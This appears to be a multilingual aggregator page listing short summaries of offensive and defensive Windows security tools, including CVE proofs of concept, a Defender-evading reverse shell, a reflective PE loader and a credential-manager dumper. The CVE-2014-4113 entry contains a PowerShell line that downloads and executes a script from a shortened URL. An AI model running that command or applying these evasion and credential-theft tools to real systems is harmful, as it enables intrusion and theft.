aDLL

aDLL - مغامرة مكتبة الارتباط الديناميكي Adventure of Dynamic Link Library aDLL هي أداة تحليل ثنائي تركز على الاكتشاف التلقائي لثغرات اختطاف DLL. تقوم الأداة بتحليل صورة الملف القابل للتنفيذ المحملة في الذاكرة للبحث عن ملفات DLL المحملة وقت التحميل، وتستخدم مكتبة Microsoft Detours لاعتراض...

CVE-2023-36900

CVE-2023-36900 حول هذه الثغرة: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36900. شرح نمط Imhex لامتداد blf رأس مع تعريف هياكل CLFS إثبات المفهوم لرفض الخدمة نمط Imhex لامتداد blf قبل: بعد: النمط ليس مثالياً، لكنه قد يكون مفيداً. رابط كيفية الاستخدام: File-Import-Pattern File...

CVE-2016-0051

CVE-2016-0051 Code de preuve de concept de BSoD Blue Screen of Death et d'élévation de privilèges vers SYSTEM pour ma CVE-2016-0051 MS-016. EoP vers SYSTEM sur Windows 7 SP1 x86 BSoD sur Windows 10 x64 Liens Bulletin de sécurité Microsoft MS16-016 Page des remerciements Microsoft Une variante de ...

ShellCodeEmulator

أداة محاكاة شيلكود ويندوز تعتمد على إطار يونيكورن. يقوم ShellcodeEmulator بمحاكاة شيلكود ويندوز بمساعدة تفريغات ذاكرة عملية WinDbg. يمكنك تقديم شيلكود لتحليله مع أي صورة تفريغ لعملية ويندوز. ستقوم الأداة بمحاكاة أكبر قدر ممكن من كود وضع المستخدم باستخدام بايتات الشيلكود وصورة التفريغ المقدمة. يمك...

CVE-2020-1337

CVE-2020-1337 CVE-2020-1337 هو تجاوز لتصحيح PrintDemon CVE-2020-1048 عبر دليل Junction، صُمم لمعالجة ثغرة رفع الامتيازات EoP\تصعيد الامتيازات المحلي LPE التي تؤثر على خدمة Print Spooler في Windows. تتطلب الثغرة بالفعل وصولاً بامتيازات منخفضة وإعادة تشغيل خدمة Spooler. ظهر التصحيح في patch Tuesday...

metasploit-ldapnightmare

metasploit-ldapnightmare إثبات المفهوم لـ CVE-2024-49113 LdapNightmare من SafeBreach مدمج في Metasploit نظرة عامة تطبق هذه الوحدة الثغرة CVE-2024-49113، وهي ثغرة حرجة في عميل LDAP الخاص بنظام ويندوز يمكن أن تسبب عدم استقرار النظام. تتكامل الوحدة مع إطار عمل Metasploit، وتوفر طريقة موثوقة لاختبار...

Nim-RunPE

Nim-RunPE تنفيذ Nim لتحميل PE انعكاسي من الذاكرة. تم أخذ الأساس لهذا الكود من RunPE-In-Memory - والذي قمت بنقله إلى Nim. ستحتاج إلى تثبيت التبعيات التالية: nimble install ptrmath winim لقد اختبرت هذا فقط مع Nim الإصدار 1.6.2، لذا استخدم هذا الإصدار للاختبار أو لا يمكنني ضمان عدم وجود أخطاء عند...

NimGetSyscallStub

NimGetSyscallStub احصل على استدعاءات نظام جديدة من نسخة ntdll.dll جديدة. يمكن استخدام هذا الكود كبديل للأدوات الرائعة المنشورة بالفعل NimlineWhispers و NimlineWhispers2 من قبل @ajpc500 أو ParallelNimcalls. ميزة الحصول على استدعاءات النظام ديناميكيًا هي أن توقيع الـ Stubs غير مضمن في الملف ولا داع...

netstat2neo4j

Netstat Visualization with Neo4j Description Graphs help to spot anomalies and patterns in large datasets. This script takes netstat information from multiple hosts and formats them in a way to make them importable into Neo4j. Neo4j can be queried for find connections to certain hosts, from certa...

Nim-Reverse-Shell

شل عكسي بلغة نيم شل عكسي بسيط مكتوب بلغة نيم يتجاوز كشف Windows Defender انظر قسم "أنظمة التشغيل المختبرة" أدناه لمزيد من التفاصيل. هذا الكود لأغراض تعليمية فقط. أنظمة التشغيل المختبرة Windows 10 10.0.19045 Windows 11 10.0.22621 التجميع يمكن تجميع الكود بطرق مختلفة باستخدام نيم. في هذا المثال، يت...

Invoke-WCMDump

Invoke-WCMDump سكريبت PowerShell لتفريغ بيانات اعتماد Windows من مدير بيانات الاعتماد يقوم Invoke-WCMDump بإحصاء بيانات اعتماد Windows في مدير بيانات الاعتماد ثم يستخرج المعلومات المتاحة عن كل منها. يتم استرداد كلمات المرور لبيانات الاعتماد من نوع "Generic"، ولكن لا يمكن استردادها بنفس الطريقة...

CVE-2014-4113

CVE-2014-4113 باورشيل CVE-2014-4113 x64 Windows فقط iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

CVE-2019-0708

CVE-2019-0708 POC-CVE-2019-0708 Microsoft Windows 7 for 32-bit Systems SP1 Microsoft Windows 7 for x64-based Systems SP1 Microsoft Windows Server 2003 Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1 Microsoft Windows Server 2008 R2 for x64-based Systems SP1 Microsoft Windows Server...

WhoamiAlternatives

بدائل لـ whoami بعض التجارب لاسترداد اسم المستخدم الحالي دون استدعاء whoami.exe أو ملفات ثنائية مشابهة. الطريقة 1: PRTLUSERPROCESSPARAMETERS احصل على متغيرات البيئة من بنية PEB وقم بتحليلها للعثور على اسم المستخدم. الدالة NtQueryInformationProcess تُرجع بنية "PROCESSBASICINFORMATION" تحتوي على مؤ...

ranger

ranger A tool to support security professionals access and interact with remote Microsoft Windows based systems. This project was conceptualized with the thought process, we did not invent the bow or the arrow, just a more efficient way of using it. Ranger is a command-line driven attack and...

ranger

ranger أداة لدعم محترفي الأمن للوصول والتفاعل مع أنظمة مايكروسوفت ويندوز البعيدة. تم تصميم هذا المشروع بناءً على فكرة أننا لم نخترع القوس أو السهم، بل فقط طريقة أكثر فعالية لاستخدامهما. Ranger هو أداة هجوم واختبار اختراق تعمل عبر سطر الأوامر، ولديها القدرة على استخدام خادم مقلاع catapult server...

RPCMon

أداة واجهة رسومية لفحص اتصالات RPC من خلال تتبع الأحداث لنظام Windows ETW. نُشرت الأداة كجزء من بحث حول اتصالات RPC بين المضيف وحاوية Windows. نظرة عامة يمكن لـ RPCMon مساعدة الباحثين في الحصول على نظرة شاملة لاتصالات RPC بين العمليات. صُممت مثل Procmon لسهولة الاستخدام، وتستخدم مكتبة .NET الخاصة...

gftrace

gftrace A command line Windows API tracing tool for Golang binaries. Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome! How it works? Although Golang programs contains a lot of nuances regarding the way they are built and their...

gftrace

gftrace أداة تتبع لواجهة برمجة تطبيقات Windows عبر سطر الأوامر لثنائيات Golang. ملاحظة: هذه الأداة هي إثبات مفهوم ونموذج أولي قيد التطوير، لذا يُرجى التعامل معها على هذا الأساس. الملاحظات مرحب بها دائمًا! كيف تعمل؟ على الرغم من أن برامج Golang تحتوي على العديد من التفاصيل الدقيقة فيما يتعلق بطريق...

CheckPlz

CheckPlz CheckPlz هو إصدار مكتوب بلغة Rust من الأداتين الشهيرتين ThreatCheck وGoCheck، مصمم لفحص الملفات بحثًا عن التهديدات المحتملة بالاستفادة من AMSI واجهة فحص مكافحة البرامج الضارة وWindows Defender. ومن خلال عزل المحتوى الضار بدقة وتقديم تحليل شامل، يوفر CheckPlz تجربة فحص ملفات محسّنة وفعّال...